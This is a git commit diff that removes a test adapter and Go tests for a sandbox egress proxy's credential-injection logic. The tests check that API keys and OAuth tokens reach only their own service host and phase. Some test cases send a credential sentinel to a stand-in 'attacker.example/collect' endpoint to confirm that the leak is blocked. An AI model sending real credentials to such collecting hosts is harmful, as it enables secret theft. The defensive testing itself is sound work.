test(egress): delete the test-only ResolverFunc adapter and its tests (#1671)
This commit is contained in:
1 parent
3977eaad68
commit
ad9ec16844
6 files changed
-460
No files matched your search
@@ -1,77 +0,0 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/docker/sandbox-kit-spec/v3/spec"
|
||||
|
||||
"github.com/samcharles93/archie-core/internal/domain/harnesssecret"
|
||||
)
|
||||
|
||||
type phaseOAuthStore struct{}
|
||||
|
||||
func (phaseOAuthStore) GetHarnessSecret(context.Context, string, string) (harnesssecret.Secret, error) {
|
||||
return harnesssecret.Secret{AccessToken: "real-oauth"}, nil
|
||||
}
|
||||
func (phaseOAuthStore) PutHarnessSecret(context.Context, harnesssecret.Secret) error { return nil }
|
||||
|
||||
func TestCredentialPhaseEnforcement(t *testing.T) {
|
||||
t.Parallel()
|
||||
cases := []struct {
|
||||
name, phase string
|
||||
install, runtime bool
|
||||
revoked bool
|
||||
}{
|
||||
{"install scalar", `"install"`, true, false, false},
|
||||
{"runtime scalar", `"runtime"`, false, true, false},
|
||||
{"both", `["install","runtime"]`, true, true, false},
|
||||
{"revoked", `["install","runtime"]`, false, false, true},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
var phases spec.Phases
|
||||
if err := json.Unmarshal([]byte(tc.phase), &phases); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
creds := []spec.CredentialCapability{
|
||||
{Service: "key", Phase: phases, APIKey: &spec.APIKey{Inject: []spec.Inject{{Domain: "api.example", Header: "X-Key"}}}},
|
||||
{Service: "oauth", Phase: phases, OAuth: &spec.OAuth{TokenEndpoint: &spec.TokenEndpoint{Host: "token.example", Path: "/token"}, ResourceHosts: []string{"api.example"}, Sentinels: &spec.Sentinels{AccessToken: "sentinel"}}},
|
||||
}
|
||||
proxy := NewProxy(nil, ProxyOptions{Resolver: ResolverFunc(func(_ context.Context, credential, _ string) (string, error) {
|
||||
if credential != "host-run-grant" {
|
||||
t.Fatal("resolver received the container proxy password instead of the host grant")
|
||||
}
|
||||
if tc.revoked {
|
||||
return "", ErrUnbound
|
||||
}
|
||||
return "real-key", nil
|
||||
}), OAuthStore: phaseOAuthStore{}})
|
||||
session := &Session{token: "proxy-password", runCredential: "host-run-grant", org: "org", injections: compileInjections(creds, nil), oauth: compileOAuthRules(creds, nil)}
|
||||
for _, runtime := range []bool{false, true} {
|
||||
session.atRun.Store(runtime)
|
||||
want := tc.install
|
||||
if runtime {
|
||||
want = tc.runtime
|
||||
}
|
||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "http://api.example/data", nil)
|
||||
req.Header.Set("Authorization", "Bearer sentinel")
|
||||
if err := proxy.inject(context.Background(), session, req, "api.example", 80); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := proxy.injectOAuth(context.Background(), session, req, "api.example", 80); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := req.Header.Get("X-Key") == "real-key"; got != want {
|
||||
t.Errorf("runtime=%v API key injected=%v, want %v", runtime, got, want)
|
||||
}
|
||||
if got := req.Header.Get("Authorization") == "Bearer real-oauth"; got != want {
|
||||
t.Errorf("runtime=%v OAuth injected=%v, want %v", runtime, got, want)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,93 +0,0 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/docker/sandbox-kit-spec/v3/spec"
|
||||
|
||||
"github.com/samcharles93/archie-core/internal/domain/access"
|
||||
"github.com/samcharles93/archie-core/internal/domain/harnesssecret"
|
||||
)
|
||||
|
||||
type identityOAuthStore struct {
|
||||
t *testing.T
|
||||
token string
|
||||
principal access.Principal
|
||||
reads, writes int
|
||||
}
|
||||
|
||||
func (s *identityOAuthStore) check(ctx context.Context) {
|
||||
s.t.Helper()
|
||||
p, _ := access.PrincipalFromContext(ctx)
|
||||
if harnesssecret.RunCredential(ctx) != s.token || p.IdentityID != s.principal.IdentityID {
|
||||
s.t.Fatal("OAuth operation lost the session's grant or principal")
|
||||
}
|
||||
}
|
||||
|
||||
func (s *identityOAuthStore) GetHarnessSecret(ctx context.Context, _, _ string) (harnesssecret.Secret, error) {
|
||||
s.check(ctx)
|
||||
s.reads++
|
||||
return harnesssecret.Secret{AccessToken: "real-access", RefreshToken: "real-refresh"}, nil
|
||||
}
|
||||
|
||||
func (s *identityOAuthStore) PutHarnessSecret(ctx context.Context, _ harnesssecret.Secret) error {
|
||||
s.check(ctx)
|
||||
s.writes++
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestOAuthUsesSessionAuthority(t *testing.T) {
|
||||
for _, setup := range []bool{false, true} {
|
||||
t.Run(map[bool]string{false: "task grant", true: "setup principal"}[setup], func(t *testing.T) {
|
||||
opts := SessionOptions{Token: "proxy-token", RunCredential: "run-grant", Org: "acme", Credentials: []spec.CredentialCapability{{Service: "provider", Phase: spec.Phases{"runtime"}, OAuth: &spec.OAuth{TokenEndpoint: &spec.TokenEndpoint{Host: "token.example"}, ResourceHosts: []string{"api.example"}, Sentinels: &spec.Sentinels{AccessToken: "access-sentinel", RefreshToken: "refresh-sentinel"}}}}}
|
||||
if setup {
|
||||
opts.RunCredential = ""
|
||||
opts.Principal = access.Principal{IdentityID: "alice", Org: "acme"}
|
||||
}
|
||||
store := &identityOAuthStore{t: t, token: opts.RunCredential, principal: opts.Principal}
|
||||
upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
body, err := io.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
return
|
||||
}
|
||||
if string(body) != "real-refresh" {
|
||||
t.Errorf("refresh body %q", body)
|
||||
}
|
||||
_, _ = io.WriteString(w, `{"access_token":"new-access","refresh_token":"new-refresh"}`)
|
||||
}))
|
||||
defer upstream.Close()
|
||||
proxy := NewProxy(nil, ProxyOptions{OAuthStore: store, Resolver: ResolverFunc(func(context.Context, string, string) (string, error) { return "", nil }), Dial: func(ctx context.Context, _, _ string) (net.Conn, error) {
|
||||
return (&net.Dialer{}).DialContext(ctx, "tcp", upstream.Listener.Addr().String())
|
||||
}})
|
||||
session, err := proxy.Register(opts)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
session.EnterRuntime()
|
||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "http://api.example/data", nil)
|
||||
req.Header.Set("Authorization", "Bearer access-sentinel")
|
||||
if err := proxy.injectOAuth(req.Context(), session, req, "api.example", 80); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if req.Header.Get("Authorization") != "Bearer real-access" {
|
||||
t.Fatal("access token not injected")
|
||||
}
|
||||
refresh := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "http://token.example/token", strings.NewReader("refresh-sentinel"))
|
||||
response := httptest.NewRecorder()
|
||||
proxy.interceptOAuth(refresh.Context(), response, refresh, session, session.oauth[0], "http", "token.example")
|
||||
if response.Code != http.StatusOK || store.reads != 2 || store.writes != 1 {
|
||||
t.Fatalf("status %d, reads %d, writes %d", response.Code, store.reads, store.writes)
|
||||
}
|
||||
if strings.Contains(response.Body.String(), "new-access") {
|
||||
t.Fatal("real token escaped to container")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,85 +0,0 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
"github.com/docker/sandbox-kit-spec/v3/spec"
|
||||
|
||||
"github.com/samcharles93/archie-core/internal/domain/harnesssecret"
|
||||
)
|
||||
|
||||
type stubOAuthStore struct{}
|
||||
|
||||
func (stubOAuthStore) GetHarnessSecret(context.Context, string, string) (harnesssecret.Secret, error) {
|
||||
return harnesssecret.Secret{}, nil
|
||||
}
|
||||
|
||||
func (stubOAuthStore) PutHarnessSecret(context.Context, harnesssecret.Secret) error { return nil }
|
||||
|
||||
// A matched token endpoint must never be reverse-proxied when the run is not
|
||||
// granted the service. Doing so would return the provider's real access and
|
||||
// refresh tokens to the container un-sentinelized, so the proxy refuses.
|
||||
func TestTokenEndpointRefusedWhenNotGranted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
required bool
|
||||
status int
|
||||
install bool
|
||||
}{
|
||||
{name: "an optional ungranted credential is refused", status: http.StatusForbidden},
|
||||
{name: "runtime token endpoint refused during install", install: true, status: http.StatusForbidden},
|
||||
{name: "a required ungranted credential is refused", required: true, status: http.StatusBadGateway},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var proxied atomic.Bool
|
||||
upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
proxied.Store(true)
|
||||
_, _ = w.Write([]byte(`{"access_token":"real-access","refresh_token":"real-refresh"}`))
|
||||
}))
|
||||
defer upstream.Close()
|
||||
|
||||
proxy := NewProxy(nil, ProxyOptions{
|
||||
Resolver: ResolverFunc(func(context.Context, string, string) (string, error) { return "", ErrUnbound }),
|
||||
OAuthStore: stubOAuthStore{},
|
||||
Dial: func(ctx context.Context, _, _ string) (net.Conn, error) {
|
||||
return (&net.Dialer{}).DialContext(ctx, "tcp", upstream.Listener.Addr().String())
|
||||
},
|
||||
})
|
||||
session := &Session{
|
||||
token: "run-token",
|
||||
org: "org-sys",
|
||||
oauth: []oauthRule{{
|
||||
service: "linear", required: tc.required, phases: spec.Phases{"runtime"},
|
||||
tokenHost: compilePattern("token.example"), tokenPath: "/token",
|
||||
}},
|
||||
}
|
||||
session.atRun.Store(!tc.install)
|
||||
|
||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost, "http://token.example/token", strings.NewReader("grant_type=authorization_code"))
|
||||
rec := httptest.NewRecorder()
|
||||
proxy.forward(context.Background(), rec, req, session, "http", "token.example", 80)
|
||||
|
||||
if rec.Code != tc.status {
|
||||
t.Fatalf("status = %d, want %d (body %q)", rec.Code, tc.status, rec.Body.String())
|
||||
}
|
||||
if proxied.Load() {
|
||||
t.Error("the token endpoint was proxied; the provider's real tokens reached the container")
|
||||
}
|
||||
if strings.Contains(rec.Body.String(), "real") {
|
||||
t.Fatalf("the response carried the provider's real tokens: %q", rec.Body.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
package egress
|
||||
|
||||
import "context"
|
||||
|
||||
// ResolverFunc adapts a function to Resolver for tests.
|
||||
type ResolverFunc func(ctx context.Context, credential, service string) (string, error)
|
||||
|
||||
func (f ResolverFunc) Resolve(ctx context.Context, credential, service string) (string, error) {
|
||||
return f(ctx, credential, service)
|
||||
}
|
||||
@@ -1,113 +0,0 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// A session's own resolved keys are substituted before the binding resolver is
|
||||
// consulted: a run that carries a provider credential needs no credential
|
||||
// binding for it. A service the session holds no key for still resolves through
|
||||
// its binding, and an unbound one still stops the request.
|
||||
func TestSubstitutionPrefersSessionKeys(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
host string
|
||||
secrets map[string]string
|
||||
resolve func() (string, error)
|
||||
wantAuth string
|
||||
wantStatus int
|
||||
wantResolve int
|
||||
}{
|
||||
{
|
||||
name: "the session key replaces the sentinel on the service host",
|
||||
host: "api.alpha.example", secrets: map[string]string{"alpha": "session-key"},
|
||||
wantAuth: "Bearer session-key", wantStatus: http.StatusOK,
|
||||
},
|
||||
{
|
||||
name: "the session key never reaches another host",
|
||||
host: "attacker.example", secrets: map[string]string{"alpha": "session-key"},
|
||||
wantAuth: "Bearer " + SentinelFor("alpha"), wantStatus: http.StatusOK,
|
||||
},
|
||||
{
|
||||
name: "a service with no session key resolves from its binding",
|
||||
host: "api.beta.example", secrets: map[string]string{"alpha": "session-key"},
|
||||
resolve: func() (string, error) { return "bound-key", nil },
|
||||
wantAuth: "Bearer bound-key", wantStatus: http.StatusOK, wantResolve: 1,
|
||||
},
|
||||
{
|
||||
name: "an unbound service with no session key stops the request",
|
||||
host: "api.beta.example",
|
||||
resolve: func() (string, error) { return "", ErrUnbound },
|
||||
wantStatus: http.StatusBadGateway, wantResolve: 1,
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var seen *http.Request
|
||||
upstream := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { seen = r }))
|
||||
defer upstream.Close()
|
||||
|
||||
resolved := 0
|
||||
proxy := NewProxy(nil, ProxyOptions{
|
||||
Resolver: ResolverFunc(func(_ context.Context, credential, _ string) (string, error) {
|
||||
if credential != "host-run-grant" {
|
||||
t.Error("resolver received the proxy password")
|
||||
return "", ErrUnbound
|
||||
}
|
||||
resolved++
|
||||
if tc.resolve == nil {
|
||||
return "", ErrUnbound
|
||||
}
|
||||
return tc.resolve()
|
||||
}),
|
||||
Dial: func(ctx context.Context, _, _ string) (net.Conn, error) {
|
||||
return (&net.Dialer{}).DialContext(ctx, "tcp", upstream.Listener.Addr().String())
|
||||
},
|
||||
})
|
||||
service := "alpha"
|
||||
if tc.host == "api.beta.example" {
|
||||
service = "beta"
|
||||
}
|
||||
session, err := proxy.Register(SessionOptions{
|
||||
Token: "proxy-password", RunCredential: "host-run-grant",
|
||||
Substitutions: []Substitution{{Service: "alpha", Host: "api.alpha.example"}, {Service: "beta", Host: "api.beta.example"}},
|
||||
Secrets: tc.secrets,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("register session: %v", err)
|
||||
}
|
||||
|
||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost, "http://"+tc.host+"/v1/chat", nil)
|
||||
req.Header.Set("Authorization", "Bearer "+SentinelFor(service))
|
||||
rec := httptest.NewRecorder()
|
||||
proxy.forward(context.Background(), rec, req, session, "http", tc.host, 80)
|
||||
|
||||
if resolved != tc.wantResolve {
|
||||
t.Fatalf("resolver called %d times, want %d", resolved, tc.wantResolve)
|
||||
}
|
||||
if rec.Code != tc.wantStatus {
|
||||
t.Fatalf("status = %d, want %d (%s)", rec.Code, tc.wantStatus, rec.Body.String())
|
||||
}
|
||||
if tc.wantAuth == "" {
|
||||
if seen != nil {
|
||||
t.Fatal("a refused request was forwarded upstream")
|
||||
}
|
||||
return
|
||||
}
|
||||
if seen == nil {
|
||||
t.Fatalf("request not forwarded: %d %q", rec.Code, rec.Body.String())
|
||||
}
|
||||
if got := seen.Header.Get("Authorization"); got != tc.wantAuth {
|
||||
t.Fatalf("upstream saw %q, want %q", got, tc.wantAuth)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,82 +0,0 @@
|
||||
package egress
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// A provider key reaches only the provider's own host. Anywhere else the
|
||||
// upstream sees the placeholder, so a container that sends its sentinel to
|
||||
// another host learns nothing.
|
||||
func TestSubstitutionReachesOnlyTheServiceHost(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
host string
|
||||
target string
|
||||
wantKey bool
|
||||
wantError bool
|
||||
resolve func() (string, error)
|
||||
}{
|
||||
{name: "the service host gets the key", host: "api.openai.example", target: "/v1/chat?key=" + SentinelFor("openai"), wantKey: true},
|
||||
{name: "another host keeps the placeholder", host: "attacker.example", target: "/collect?key=" + SentinelFor("openai")},
|
||||
{
|
||||
name: "an unbound credential stops the request", host: "api.openai.example", target: "/v1/chat", wantError: true,
|
||||
resolve: func() (string, error) { return "", ErrUnbound },
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var seen *http.Request
|
||||
upstream := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { seen = r }))
|
||||
defer upstream.Close()
|
||||
|
||||
resolve := tc.resolve
|
||||
if resolve == nil {
|
||||
resolve = func() (string, error) { return "real-key", nil }
|
||||
}
|
||||
proxy := NewProxy(nil, ProxyOptions{
|
||||
Resolver: ResolverFunc(func(_ context.Context, credential, _ string) (string, error) {
|
||||
if credential != "host-run-grant" {
|
||||
t.Error("resolver received the proxy password")
|
||||
return "", ErrUnbound
|
||||
}
|
||||
return resolve()
|
||||
}),
|
||||
Dial: func(ctx context.Context, _, _ string) (net.Conn, error) {
|
||||
return (&net.Dialer{}).DialContext(ctx, "tcp", upstream.Listener.Addr().String())
|
||||
},
|
||||
})
|
||||
session := &Session{token: "proxy-password", runCredential: "host-run-grant", substitutions: compileSubstitutions([]Substitution{{Service: "openai", Host: "api.openai.example"}})}
|
||||
|
||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost, "http://"+tc.host+tc.target, nil)
|
||||
req.Header.Set("Authorization", "Bearer "+SentinelFor("openai"))
|
||||
rec := httptest.NewRecorder()
|
||||
proxy.forward(context.Background(), rec, req, session, "http", tc.host, 80)
|
||||
|
||||
if tc.wantError {
|
||||
if rec.Code != http.StatusBadGateway || seen != nil {
|
||||
t.Fatalf("status = %d, forwarded = %v; want 502 and nothing forwarded", rec.Code, seen != nil)
|
||||
}
|
||||
return
|
||||
}
|
||||
if seen == nil {
|
||||
t.Fatalf("request not forwarded: %d %q", rec.Code, rec.Body.String())
|
||||
}
|
||||
got := seen.Header.Get("Authorization") + " " + seen.URL.RawQuery
|
||||
if strings.Contains(got, "real-key") != tc.wantKey {
|
||||
t.Fatalf("upstream saw %q; key present = %v, want %v", got, !tc.wantKey, tc.wantKey)
|
||||
}
|
||||
if tc.wantKey && strings.Contains(got, Sentinel) {
|
||||
t.Fatalf("a sentinel survived on the service host: %q", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user